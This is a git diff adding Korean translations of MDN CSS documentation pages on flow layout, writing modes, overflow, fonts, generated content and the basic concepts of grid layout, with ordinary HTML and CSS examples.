요소의 디스플레이 유형은 외부 디스플레이 유형을 정의하며, 이 외부 디스플레이 유형은 상자가 동일 서식 상황에 속한 다른 요소와 어떻게 병행 표시되는지를 지정한다. 또한, (씨에스에스 디스플레이 모델 수준 3을 보면) 이 요소 내부에 속한 상자가 작동하는 방식을 지정하는 내부 디스플레이 유형도 정의한다. 이런 내용은 가변(flex) 조판를 고려할 때 명확하게 확인할 수 있다. 아래 예제에서 나에게 display: flex를 적용한 div 요소 하나가 있다. 가변 컨테이너는 블록 요소처럼 동작한다. 새 줄에 표시되고 인라인 진행 방향에서 차지할 수 있는 모든 공간을을 차지한다. 이것은 block의 외부 디스플레이 유형이다.

+ +

그러나 가변 항목("Flex Item" 문자열 2개)은 가변 서식 상황에 참여하고 있다. 왜냐면 부모(class container)가 display: flex가 지정된 요소이고, 따라서 (상속에 의해) 내부 디스플레이 유형이 가변이므로 직계 자식의 경우 가변 서식 상황이 수립된다.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/flex.html", '100%', 500)}}

+ +

따라서 씨에스에스에 포함된 모든 상자가 이런 식으로 작동한다고 간주할 수 있다. 상자 자체는 외부 디스플레이 유형도 갖고있기 때문에 다른 상자와 병행 동작하는 방법을 알고 있다. 그리고 상자는 내부 디스플레이 유형도 갖고있어 자식의 동작 방식도 변경한다. 이어 해당 자식은 외부 및 내부 디스플레이 유형도 갖게된다. 앞 예제에서 가변 항목("Flex Item" 문자열 2개)은 가변 수준 상자가 되며, 따라서 그것의 외부 디스플레이 유형은 그것들이 가변 서식 상황의 일부가 되는 방식에 의해 결정된다. 그들 항목은 대열 디스플레이 유형을 갖게 되는데, 그 의미는 자식이 일반 대열에 참여한다는 것을 의미한다. 당해 가변 항목 내부에 중첩된 항목('children' 'are in' 'normal flow')은 디스플레이 유형이 바뀌지 않는한 블록 및 인라인 요소로 배치된다.

+ +

외부 및 내부 디스플레이 유형이란 개념은 Flexbox(display: flex)와 Grid Layout(display: grid)과 같은 조판 메서드를 사용하는 컨테이너가 해당 메서드의 외부 디스플레이 유형이 block인 관계로 블록 및 인라인 조판에 계속해서 참여하고 있다는 것을 알려준다는 점에서 중요하다.

+ +

하나의 요소가 참여하는 대상의 서식 상황 변경

+ +

브라우저는 해당 요소의 통상적 타당성 여하에 따라 항목을 블록 또는 인라인 서식 맥락의 일부로 표시한다. 예들들면 단어를 강조를 강조하기 위해 스트롱 요소를 사용하며, 브라우저에 굵게 표시됩니다. 스트롱 요소가 블록 수준 요소로 표시되어 새 줄로 밀려나는 것은 일반적으로 타당하지 않다. 당신이 모든 스트롱 요소를 블록 요소로 표시하기를 원하면 당신은 strong 요소에 display: block를 설정함으로써 그렇게 할 수 있다. 즉, 항상 가장 의미론적으로 타당한 HTML 요소를 사용하여 콘텐츠를 표시한 다음 씨에스에스를 사용하여 표시되는 방식을 변경할 수 있다.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/change-formatting.html", '100%', 500)}}

+ +

요약정리

+ +

이번 안내서에서 우리는 블록 요소나 인라인 요소일 경우처럼 일반 대열속에서 요소가 어떻게 표시되는지 살펴보았다. 이러한 요소에 정해진 기본 동작이 있는 관계로 씨에스에스 스타일 지정이 전혀 없는 에이치티엠엘 문서가 읽기 가능한 방식으로 표시된다. 일반 대열의 작동 방식을 이해하면 조판이 더 쉬워지는 데 그 이유는 요소가 표시되는 방식을 변경하는 출발점을 이해하는 것이기 때문이다.

+ +

참조 항목

+ + diff --git "a/files/ko/web/css/css_flow_layout/\355\235\220\353\246\204_\353\240\210\354\235\264\354\225\204\354\233\203\352\263\274_\354\223\260\352\270\260_\353\252\250\353\223\234/index.html" "b/files/ko/web/css/css_flow_layout/\355\235\220\353\246\204_\353\240\210\354\235\264\354\225\204\354\233\203\352\263\274_\354\223\260\352\270\260_\353\252\250\353\223\234/index.html" new file mode 100644 index 0000000000..4d35855ee5 --- /dev/null +++ "b/files/ko/web/css/css_flow_layout/\355\235\220\353\246\204_\353\240\210\354\235\264\354\225\204\354\233\203\352\263\274_\354\223\260\352\270\260_\353\252\250\353\223\234/index.html" @@ -0,0 +1,92 @@ +--- +title: 대열 조판과 쓰기 모드 +slug: Web/CSS/CSS_Flow_Layout/흐름_레이아웃과_쓰기_모드 +tags: + - 대열 조판 + - 쓰기모드 + - 씨에스에스 + - 안내서 + - 지향 +translation_of: Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Writing_Modes +--- +

어떻게 일반 대열이 동작하는지 자세히 설명하는 씨에스에스 2.1 규격은 가로쓰기 모드라고 가정한다. 조판 속성은 세로 쓰기 모드에서 동일한 방식으로 작동해야 한다. 이 안내서는 서로 다른 문서 작성 모드에서 사용될 때 대열 조판이 어떻게 작동하는지 살펴 봅니다.

+ +

이것은 씨에스에스(CSS)에 포함된 쓰기 모드 사용에 대한 종합적인 안내서가 아니다. 이 글의 목적은 대열 조판이 쓰기 모드와 예상치 못한 방식으로 상호 작용하는 지점을 문서화하는 것이다. 이 문서의 참조 항목외부 리소스 섹션은 쓰기 모드 관련 더 많은 링크를 제공하고 있다.

+ +

쓰기 모드 규격

+ +

씨에스에스 쓰기 모드 수준 3 규격은 문서의 쓰기 모드가 대열 조판에 미치는 영향을 정의한다. 씨에스에스 쓰기 모드 소개란에서 전하는 규격은 다음과 같다.

+ +
+

씨에스에스에 포함되는 쓰기 모드는 {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}} 속성에 의해 결정된다. 쓰기 모드는 주로 인라인 기준 방향과 블록 대열 방향 여하에 따라 정의된다."

+
+ +

쓰기 모드 규격은 내용물이 라인에 정렬되는 방향에 따라 인라인 기준 방향을 정의한다. 기준 방향이 인라인 방향의 시작과 끝을 정의한다. 인라인 방향의 시작은 문장이 시작되는 곳이고, 인라인 방향의 끝은 새 줄로 넘어가기 전에 텍스트가 끝나는 곳이 끝나는 곳이다.

+ +

블록 대열 방향은 예로 단락의 경우처럼 블록 쓰기 모드에서 상자를 쌓는 방향이다. 씨에스에스 쓰기 모드 속성은 블록 대열 방향을 제어한다. 페이지 또는 페이지의 일부를 vertical-lr로 변경하고 싶다면, 대상 요소에 writing-mode: vertical-lr를 설정할 수 있고, 이로써 블록의 방향을 변경하는 것이고 아울러 인라인 방향도 변경된다.

+ +

특정 언어일 경우 특정 쓰기 모드나 텍스트 방향을 사용하겠지만, 제목을 세로로 돌리는 등 창의적인 효과를 위해 그러한 속성을 사용할 수도 있다.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/creative-use.html", '100%', 720)}}

+ +

writing-mode 속성 및 블록 대열

+ +

{{cssxref("writing-mode")}} 속성은 horizontal-tbvertical-rl, vertical-lr를 속성값으로 받는다. 이들 속성값은 페이지 상에 블록의 대열 방향을 제어한다. 초기 값은 horizontal-tb,로써 가로 인라인 방향이 포함된 상단에서 하단으로 가는 블록 대열 방향이다. 영어와 같이 왼쪽에서 오른쪽 방향 언어과 오른쪽에서 왼쪽 방향 언어인 아랍어의 경우든 모두가 horizontal-tb이다.

+ +

다음 예는 horizontal-tb를 사용하는 블록을 보여준다.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/horizontal-tb.html", '100%', 720)}}

+ +

속성값 vertical-rl는 다음 예와 같이 세로 인라인 방향을 포함하는 오른쪽에서 왼쪽으로 가는 블록 대열 방향을 제공한다.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/vertical-rl.html", '100%', 720)}}

+ +

마지막 예는 vertical-lr로써 세번 째로 가능한 writing-mode 속성값을 시연하고 있다. 이렇게 하면 왼쪽에서 오른쪽 블록 대열 방향과 세로 인라인 방향을 얻을 수 있다.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/vertical-lr.html", '100%', 720)}}

+ +

부모와 다른 쓰기 모드를 가진 상자

+ +

중첩된 상자에 부모와 다른 쓰기 모드가 할당된 경우 인라인 수준 상자는 display: inline-block이 적용된 듯이 표시된다.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/inline-change-mode.html", '100%', 720)}}

+ +

블록 수준 박스는 새로운 블록 서식 상황을 설정하게 되는데, 내부 디스플레이 유형이 flow일 경우 계산에 따른 디스플레이 유형인 flow-root를 얻게 된다는 뜻이다. 이것은 다음 예에서 보다시피 horizontal-tb 속성에 따라 표시되는 상자가 부동 요소를 포함하고 있는데, 그것이 포함된 까닭은 부모가 새로운 블록 대열 상황을 수립했기 때문이다.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/block-change-mode.html", '100%', 720)}}

+ +

대체 요소

+ +

이미지와 같은 대체 요소는 writing-mode에 주어진 속성에 근거하여 (가로 세로) 쓰기 방향를 바꾸지 않는다. 그러나 텍스트를 포함하는 양식 컨트롤과 같은 대체 요소는 사용중인 쓰기 모드와 일치해야 한다.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/replaced.html", '100%', 720)}}

+ +

논리적 속성 및 속성값

+ +

당신이 horizontal-tb 이외의 쓰기 모드에서 작업하게 될 경우, 스크린의 물리적 크기에 매핑되는 많은 속성 및 속성값들이 이상하게 보일 것이다. 예를 들면 상자에 100px을 부여하면 쓰기 모드가 horizontal-tb일 경우에 인라인 방향의 크기(100px)를 통제하게 된다. 쓰기 모드가 vertical-lr일 상황에서 상자가 텍스트에 맞춰 회전하지 않기 때문에 블록 방향 크기를 상자가 제어한다.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/width.html", '100%', 720)}}

+ +

따라서 우리에게 {{cssxref("블록 크기")}} 및 {{cssxref("인라인 크기")}}라는 새로운 속성이 주어진다. 당해 블록에 inline-size를 100px 부여할 경우 가로쓰기 또는 세로 쓰기 모드 여부는 상관없어지며, inline-size일 경우 항상 인라인 방향의 크기를 의미하게 된다.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/inline-size.html", '100%', 720)}}

+ +

씨에스에스 논리적 속성 규격은 여백, 패딩 및 테두리를 제어하는 속성의 논리적 버전뿐만 아니라 일반적으로 물리적 방향 지정을 위해 대상 요소에 전형적으로 사용되는 다른 매핑을 포함하고 있다.

+ +

요약정리

+ +

대부분의 경우, 문서의 쓰기 모드 또는 문서의 일부를 변경할 때 당신이 대상 요소에 기대하는 대로 대열 조판이 작동한다. 쓰기 모드는 세로 쓰기 언어를 올바르게 조판하거나 ​​독창적 표현을 이유로 사용할 수 있다. 씨에스에스는 세로 쓰기 모드에서 작업할 때 크기의 척도를 요소의 인라인과 블록 크기에 기초할 수 있도록 논리적 속성과 속성값을 도입하는 방식으로 간편한 설정을 가능케 해준다. 이런 내용은 다른 쓰기 모드에서 작동할 수 있는 구성 요소를 만들 경우에 유용할 것이다.

+ +

참조 항목

+ + + +

외부 리소스

+ + + +
{{QuickLinksWithSubpages("/ko/docs/Web/CSS/CSS_Flow_Layout/")}}
diff --git "a/files/ko/web/css/css_flow_layout/\355\235\220\353\246\204_\353\240\210\354\235\264\354\225\204\354\233\203\352\263\274_\354\230\244\353\262\204\355\224\214\353\241\234/index.html" "b/files/ko/web/css/css_flow_layout/\355\235\220\353\246\204_\353\240\210\354\235\264\354\225\204\354\233\203\352\263\274_\354\230\244\353\262\204\355\224\214\353\241\234/index.html" new file mode 100644 index 0000000000..697bdfacde --- /dev/null +++ "b/files/ko/web/css/css_flow_layout/\355\235\220\353\246\204_\353\240\210\354\235\264\354\225\204\354\233\203\352\263\274_\354\230\244\353\262\204\355\224\214\353\241\234/index.html" @@ -0,0 +1,73 @@ +--- +title: 대열 조판과 대열이탈 +slug: Web/CSS/CSS_Flow_Layout/흐름_레이아웃과_오버플로 +tags: + - 가시성 + - 대열 조판 + - 대열이탈 + - 씨에스에스 + - 안내서 + - 조판 + - 중급 + - 텍스트 대열이탈 +translation_of: Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Overflow +--- +

컨테이너에 채울 수 없을 만큼 더 많은 내용물이 있을 때 오버플로 상황이 발생한다. CSS에서 크기 제한이 있는 요소를 다루려면 오버플로의 동작 방식을 이해하는 것이 중요하다. 이 안내서는 일반 플로우에 해당하는 작업 중에 오버플로이 작동하는 방식을 설명한다.

+ +

오버플로은 무엇인가?

+ +

어떤 요소에 고정 높이 및 너비를 부여한 다음, 상자에 상당한 내용물을 추가하면 기본적인 오버플로 사례가 만들어 진다.

+ +

{{EmbedGHLiveSample("css-examples/flow/overflow/overflow.html", '100%', 700)}}

+ +

내용물이 상자 안으로 들어간다. 상자가 채워지면, 눈에 보이게 오버플로이 계속되면서 상자 밖으로 내용물이 표시되고, 후속 내용물 아래에 표시될 가능성까지 있다. 오버플로 동작 방식을 통제하는 속성은 오버플로 속성으로 초기값은 visible로 되어 있다. 그런 까닭에 오버플로한 내용물를 볼 수 있다.

+ +

오버플로 통제

+ +

오버플로된 내용물이 동작하는 방식을 통제하는 그 밖의 값들이 있다. 오버플로된 내용물을 감추려면 hidden 값을 사용한다. 이 값은 내용물을 보이지 않게 만들 수도 있다.

+ +

{{EmbedGHLiveSample("css-examples/flow/overflow/hidden.html", '100%', 700)}}

+ +

scroll 값을 사용해서 상자의 내용물을 상자 안에 가둬두고 내용물을 볼 수 있게 스크롤 막대를 추가할 수 있다. 스크롤 막대는 내용물이 상자에 들어맞더라도 추가될 것이다.

+ +

{{EmbedGHLiveSample("css-examples/flow/overflow/scroll.html", '100%', 700)}}

+ +

auto 값을 사용하면 상자안에 내용물이 들어맞을 경우 스크롤 막대 없이 내용물을 표시하게 된다. 만일 내용물이 들어맞지 않는다면 스크롤 막대가 추가되게 된다. 다음 예를 overflow: scroll 경우의 예와 비교하면 수직 스크롤 막대가 필요할 경우에도 overflow scroll의 예는 수평 및 수직 스크롤 막대가 있음을 알수 있다. 아래 auto 예제에서는 우리가 스크롤이 필요한 방향으로만 스크롤 막대를 추가한다.

+ +

{{EmbedGHLiveSample("css-examples/flow/overflow/auto.html", '100%', 700)}}

+ +

이미 배운 바와 같이 기본값인 visible 이외에 살펴본 값 중의 어떤 값을 사용하게 되면 새로운 블록 서식 상황을 생성하게 된다.

+ +

참고: 작업 초안 오버플로 수준 3을 보면 추가적인 속성 값으로 overflow: clip이 있다. 이것은 overflow: hidden와 같이 작용하지만, 프로그래밍 방식의 스크롤이 불용되어 스크롤 할 수 상자가 된다. 또한, 이것은 블록 서식 상황을 생성하지 못한다.

+ +

오버플로 속성은 실제로는 overflow-xoverflow-y 속성의 약칭이다. 오버플로 값을 하나만 지정하면 이 값은 가로 세로 양 축에 모두 사용된다. 그러나 두 가지 값 모두를 지정할 수 있다. 첫번 째 경우에는 overflow-x를 수평 방향 값으로 두번째 경우에는 overflow-y를 수직 방향 값으로 사용하면 된다. 아래 예에서 나는 overflow-y: scroll만 지정함으로써 원치 않는 가로 스크롤 막대가 나타나지 않도록 했다.

+ +

{{EmbedGHLiveSample("css-examples/flow/overflow/overflow-y.html", '100%', 700)}}

+ +

상대적 플로우 속성

+ +

우리는 쓰기 모드와 플로우 레이아웃 안내서에서 block-sizeinline-size라는 새로운 속성를 살펴보았는데, 이 속성은 물리적인 화면 크기에 레이아웃을 구속하기보다는 다양한 쓰기 모드에서 작업할 경우에 적합하다. 수준 3 오버플로 모듈에는 플로우에 상대적인 오버플로 속성들overflow-blockoverflow-inline도 포함되어 있다. 그것들은 overflow-xoverflow-y에 대응하지만, 매핑은 문서의 쓰기 모드 여하에 달려 있다.

+ +

이들 속성은 현재 브라우저에 구현이 되어 있지 않으므로, 현 시점에는 물리적인 속성을 사용하고 쓰기 모드에 맞게 조정해야 한다.

+ +

오버플로 표시

+ +

수준 3 오버플로 규격에서 우리는 콘텐츠가 오버플로 상황에서 내용물이 보여지는 방식을 개선하도록 도움을 줄 수 있는 몇 가지 속성을 보유하고 있다.

+ +

인라인축 오버플로

+ +

text-overflow 속성은 인라인 방향의 텍스트 오버플로을 처리한다. 이 속성에는 두 가지 값 중에서 택일한다. clip의 경우는 오버플로하면 내용물이 잘려나간다. 이것이 초기값이므로 기본 동작이다. 또한, ellipsis의 경우는 줄임표를 렌더링하는 것인데, 사용 중인 언어와 쓰기 모드에 따라서는 더 나은 문자로 대체될 수도 있다.

+ +

{{EmbedGHLiveSample("css-examples/flow/overflow/text-overflow.html", '100%', 500)}}

+ +

블록축 오버플로

+ +

이 글의 작성 시점에 명칭을 두고 아직 논의의 여지가 있지만, block-overflow란 속성도 있다. 이 제안으로 텍스트가 블록 크기를 오버플로할 때 줄임표를 추가할 수 있게 된다.

+ +

이것은 예를 들어 문서 목록이 있고 제한된 양의 텍스트만 취하는 고정 높이 상자에 목록을 표시하는 경우에 유용하다. 상자나 제목을 클릭할 때 클릭할 내용이 더 많다는 것을 독자들이 인지하지 못할 수도 있다. 줄임표는 더 많은 내용이 있다는 사실을 분명하게 보여준다. 이 규격은 일련의 내용 또는 규칙적인 줄임표를 삽입할 수 있게 한다.

+ +

요약정리

+ +

웹 상의 연속적인 미디어에 있는지 또는 인쇄 또는 EPUB와 같은 페이징 미디어 형식에 있는지 여부는 어떤 레이아웃 메서드를 처리할 때 어떻게 내용물이 오버플로하게 되는지 이해를 돕는데 유용하다. 일반 대열에서 오버플로이 어떻게 작동하는지 이해함으로써 격자나 가변상자 같은 레이아웃 방식에 포함된 오버플로 내용물의 파장을 더 쉽게 이해할 수 있어야 한다.

+ +
{{QuickLinksWithSubpages("/ko/docs/Web/CSS/CSS_Flow_Layout/")}}
diff --git a/files/ko/web/css/css_fonts/index.html b/files/ko/web/css/css_fonts/index.html new file mode 100644 index 0000000000..eef480caa7 --- /dev/null +++ b/files/ko/web/css/css_fonts/index.html @@ -0,0 +1,102 @@ +--- +title: CSS Fonts +slug: Web/CSS/CSS_Fonts +tags: + - CSS + - CSS Fonts + - Overview + - Reference +translation_of: Web/CSS/CSS_Fonts +--- +
{{CSSRef}}
+ +

CSS Fonts는 글꼴 관련 속성 및 글꼴 자원이 로드되는 법을 정의하는 CSS 모듈입니다. 이는 글꼴의 스타일을 정의할 수 있습니다, 글꼴 패밀리, 크기 또는 굵기 및 한 문자에 여러 자체(glyph)가 있는 글꼴에 사용되는 이형(variant) 자체와 같은 줄높이도 정의할 수 있습니다.

+ +

참고

+ +

속성

+ +
+
    +
  • {{cssxref("font")}}
  • +
  • {{cssxref("font-family")}}
  • +
  • {{cssxref("font-feature-settings")}}
  • +
  • {{cssxref("font-kerning")}}
  • +
  • {{cssxref("font-language-override")}}
  • +
  • {{cssxref("font-size")}}
  • +
  • {{cssxref("font-size-adjust")}}
  • +
  • {{cssxref("font-stretch")}}
  • +
  • {{cssxref("font-style")}}
  • +
  • {{cssxref("font-synthesis")}}
  • +
  • {{cssxref("font-variant")}}
  • +
  • {{cssxref("font-variant-alternates")}}
  • +
  • {{cssxref("font-variant-caps")}}
  • +
  • {{cssxref("font-variant-east-asian")}}
  • +
  • {{cssxref("font-variant-ligatures")}}
  • +
  • {{cssxref("font-variant-numeric")}}
  • +
  • {{cssxref("font-variant-position")}}
  • +
  • {{cssxref("font-weight")}}
  • +
  • {{cssxref("line-height")}}
  • +
+
+ +

@규칙

+ +
+
{{cssxref("@font-face")}}
+
+
+
    +
  • {{cssxref("@font-face/font-family", "font-family")}}
  • +
  • {{cssxref("@font-face/font-feature-settings", "font-feature-settings")}}
  • +
  • {{cssxref("@font-face/font-style", "font-style")}}
  • +
  • {{cssxref("@font-face/font-variant", "font-variant")}}
  • +
  • {{cssxref("@font-face/font-weight", "font-weight")}}
  • +
  • {{cssxref("@font-face/font-stretch", "font-stretch")}}
  • +
  • {{cssxref("@font-face/src", "src")}}
  • +
  • {{cssxref("@font-face/unicode-range", "unicode-range")}}
  • +
+
+
+
{{cssxref("@font-feature-values")}}
+
+ +

안내서

+ +
+
Fundamental text and font styling
+
In this beginner's learning article we go through all the basic fundamentals of text/font styling in detail, including setting font weight, family and style, font shorthand, text alignment and other effects, and line and letter spacing.
+
OpenType font features guide
+
Font features or variants refer to different glyphs or character styles contained within an OpenType font. These include things like ligatures (special glyphs that combine characters like 'fi' or 'ffl'), kerning (adjustments to the spacing between specific letterform pairings), fractions, numeral styles, and a number of others. These are all referred to as OpenType Features, and are made available to use on the web via specific properties and a low-level control property — {{cssxref("font-feature-settings")}}. This article provides you with all you need to know about using OpenType font features in CSS.
+
Variable fonts guide
+
Variable fonts are an evolution of the OpenType font specification that enables many different variations of a typeface to be incorporated into a single file, rather than having a separate font file for every width, weight, or style. This article will give you all you need to know to get you started using variable fonts.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Fonts')}}{{Spec2('CSS3 Fonts')}} 
{{SpecName('CSS2.1', 'fonts.html#font-shorthand', '')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1', '#font', '')}}{{Spec2('CSS1')}}초기 정의
diff --git a/files/ko/web/css/css_generated_content/index.html b/files/ko/web/css/css_generated_content/index.html new file mode 100644 index 0000000000..6d1acc3c8e --- /dev/null +++ b/files/ko/web/css/css_generated_content/index.html @@ -0,0 +1,43 @@ +--- +title: CSS Generated Content +slug: Web/CSS/CSS_Generated_Content +tags: + - CSS + - CSS Generated Content + - Overview + - Reference +translation_of: Web/CSS/CSS_Generated_Content +--- +
{{CSSRef}}
+ +

CSS Generated Content는 요소에 콘텐츠를 추가하는 법을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("content")}}
  • +
  • {{cssxref("quotes")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS2.1')}}{{Spec2('CSS2.1')}}초기 정의
diff --git a/files/ko/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html b/files/ko/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html new file mode 100644 index 0000000000..ce1ce28415 --- /dev/null +++ b/files/ko/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html @@ -0,0 +1,765 @@ +--- +title: Basic concepts of grid layout +slug: Web/CSS/CSS_Grid_Layout/Basic_concepts_of_grid_layout +tags: + - CSS + - CSS 그리드 + - 가이드 + - 레이아웃 +--- +

CSS 그리드 레이아웃(Grid Layout)은 CSS에 2차원의 그리드 시스템을 도입했습니다. 그리드는 주요 페이지 영역을 설계하거나 작은 사용자 인터페이스 요소를 배치하는 데 사용할 수 있습니다. 이 문서에서는 CSS 그리드 레이아웃 및 CSS 그리드 레이아웃 레벨 1 명세서에 포함된 새로운 기술 용어를 소개합니다. 이번 개요에 소개된 기능은 나머지 안내 문서에서 자세히 설명합니다.

+ +

그리드가 무엇인가요?

+ +

그리드는 수평선과 수직선이 교차해서 이루어진 집합체입니다 - 하나의 집합체는 세로 열을 그리고 다른 하나는 가로 행을 정의합니다. 각 요소는 이러한 열과 행으로 된 라인을 따라 생성된 그리드에 배치할 수 있습니다. CSS 그리드 레이아웃에는 다음과 같은 기능이 있습니다:

+ +

고정되거나 혹은 유연한 트랙 크기

+ +

예를 들면, 픽셀 단위를 써서 트랙 크기가 고정된 그리드를 만들 수 있습니다. 이렇게 하면, 원하시는 레이아웃에 꼭 맞도록 픽셀 크기를 지정해서 그리드를 설정하실 수 있습니다. 또한, 퍼센트 혹은 이런 목적에 적합하도록 설계된 새로운 fr 단위의 가변 크기를 지정해서, 좀 더 유연한 성질의 그리드를 만들 수도 있습니다.

+ +

아이템 배치

+ +

아이템은 라인 번호, 이름 또는 그리드 영역을 지정해서 그리드의 정확한 위치에 배치할 수 있습니다. 그리드는 또 명확하게 위치가 지정되지 않은 아이템을 알아서 적절히 배치하는 알고리즘도 가지고 있습니다.

+ +

콘텐츠를 담기 위한 추가 트랙의 생성

+ +

그리드 레이아웃으로 그리드를 명시적으로 정의할 수 있지만, 지정된 그리드 밖에 따로 추가되는 콘텐츠에 대응하여 필요에 따라 행과 열을 추가할 수 있도록 표준 문서에서 기술하고 있습니다. 일 예로 “컨테이너에 들어갈 수 있는 만큼의 세로 열”을 추가하는 기능이 포함되었습니다.

+ +

정렬 제어

+ +

그리드에는 정렬 기능이 있어서 그리드 영역에 아이템을 배치한 후 어떻게 정렬할지, 그리고 전체 그리드가 정렬되는 방식을 제어할 수 있습니다.

+ +

겹치는 콘텐츠 제어

+ +

그리드 셀에 하나 이상의 아이템을 배치하거나 그리드 영역을 부분적으로 서로 겹치게 할 수 있습니다. 이렇게 생긴 중첩의 우선순위는 나중에 {{cssxref("z-index")}} 프로퍼티로 제어할 수 있습니다.

+ +

그리드는 아주 강력한 기능을 담은 표준이라서 플랙스박스(flexbox)와 같은 CSS의 다른 부분과 결합하면, 이전에는 CSS에서 불가능했던 레이아웃을 만들 수 있도록 도와줍니다. 이 모든 것은 그리드 컨테이너에서 그리드를 생성하는 것부터 시작합니다.

+ +

그리드 컨테이너

+ +

그리드 컨테이너는 요소에 display: grid 또는 display: inline-grid를 선언하여 만듭니다. 이렇게 하면 해당 요소 바로 밑에 있는 모든 자식 요소그리드 아이템이 됩니다.

+ +

다음 예제에는 클래스로 wrapper라는 이름을 가진 div이 있고, 안에는 다섯 개의 자식 요소가 있습니다.

+ +
<div class="wrapper">
+  <div>One</div>
+  <div>Two</div>
+  <div>Three</div>
+  <div>Four</div>
+  <div>Five</div>
+</div>
+
+ +

이제 .wrapper 요소를 그리드 컨테이너로 지정합니다.

+ +
.wrapper {
+  display: grid;
+}
+
+ + + +

{{ EmbedLiveSample('그리드_컨테이너', '200', '330') }}

+ +

바로 밑에 있는 모든 자식 요소는 이제 그리드 아이템이 됩니다. 이렇게 하면 웹 브라우저에서 보이는 모습이 그리드로 전환하기 전과 별 차이가 없는데, 이는 그리드가 우선 아이템을 단일 열 형태의 구조를 가진 그리드를 생성하였기 때문입니다. 이 시점에서 Firefox Developer Edition에서 작업하는 것이 유용하실 텐데, 여기엔 개발자 도구의 일부로 Grid Inspector 기능을 제공합니다. Firefox에서 이 예제의 그리드를 검사해보면, grid 값 바로 옆에 작은 아이콘이 보이실 겁니다. 이 아이콘을 클릭하면 해당 요소의 그리드가 브라우저 창 위에 중첩되어 표시됩니다.

+ +

그리드를 살펴보기 위해 개발자 도구에 있는 그리드 하이라이터를 사용하는 모습

+ +

CSS 그리드 레이아웃을 배우면서 작업하실 때 이 도구를 사용하면 그리드에서 발생하는 상황을 시각적으로 더 잘 파악하실 수 있습니다.

+ +

이제 이것을 전형적인 그리드 형태의 모양으로 만들어 주려면 세로 방향의 트랙을 더 추가하면 됩니다.

+ +

그리드 트랙

+ +

그리드의 행과 열은 {{cssxref("grid-template-columns")}} 및 {{cssxref("grid-template-rows")}} 프로퍼티로 정의합니다. 이렇게 하면, 그리드 트랙도 함께 정의됩니다. 그리드 트랙은 그리드에 그려진 두 라인 사이의 공간을 나타냅니다. 아래 그림에서는 그리드의 첫 번째 가로 행에 놓여있는 트랙이 돋보이게 표시된 것을 확인하실 수 있습니다.

+ +

+ +

앞의 예제에서 grid-template-columns 프로퍼티를 추가하고 세로 열에 놓이게 될 트랙의 크기를 정의해 줍니다.

+ +

이제 200픽셀의 너비를 가진 세로 열 방향의 트랙 세 개를 생성합니다. 자식 아이템들은 이제 그리드에 있는 각자의 그리드 셀 위에 배치됩니다.

+ +
+
<div class="wrapper">
+  <div>One</div>
+  <div>Two</div>
+  <div>Three</div>
+  <div>Four</div>
+  <div>Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 200px 200px 200px;
+}
+
+ + + +

{{ EmbedLiveSample('grid_first', '610', '140') }}

+
+ +

fr 단위

+ +

트랙은 모든 종류의 길이 단위를 써서 정의할 수 있습니다. 또한, 그리드에는 유연한 크기의 그리드 트랙을 생성하는 데 사용할 수 있는 단위를 추가로 소개하고 있습니다. 새로 소개된 fr 단위는 그리드 컨테이너에 남아 있는 사용 가능한 공간의 일정 비율을 나타냅니다. 다음에 정의된 그리드에서는 남아 있는 공간에 따라 확장 및 축소되는 같은 너비의 트랙 3개를 생성합니다.

+ +
+
<div class="wrapper">
+  <div>One</div>
+  <div>Two</div>
+  <div>Three</div>
+  <div>Four</div>
+  <div>Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+
+ + + +

{{ EmbedLiveSample('fr_unit_ls', '220', '140') }}

+
+ +

다음 예제에서는 2fr 크기의 트랙 하나와 1fr 트랙 두 개를 지정하였습니다. 사용 가능한 공간은 4개로 나뉘면서, 공간 두 개는 첫 번째 트랙에 제공하고 나머지 공간 한 부분씩을 다음 두 트랙에 각각 제공합니다.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 2fr 1fr 1fr;
+}
+
+ +

이번 마지막 예에서는 고정된 크기의 트랙과 비율 단위로 지정한 트랙이 섞여 있습니다. 첫 번째 트랙은 500픽셀의 공간을 차지하므로 이 고정 너비는 사용 가능한 공간에서 제외됩니다. 나머지 공간은 3개의 부분으로 나뉘며 2개의 유연한 트랙에 비율에 맞게 할당됩니다.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 500px 1fr 2fr;
+}
+
+ +

repeat() 표기법으로 트랙 나열

+ +

많은 트랙을 포함하는 커다란 그리드는 repeat() 표기법을 사용하여 트랙의 전체 또는 일부분을 반복해서 나열해 줄 수 있습니다. 예를 들어 다음과 같이 정의된 그리드의 경우:

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+
+ +

다음과 같이 작성할 수도 있습니다:

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+
+ +

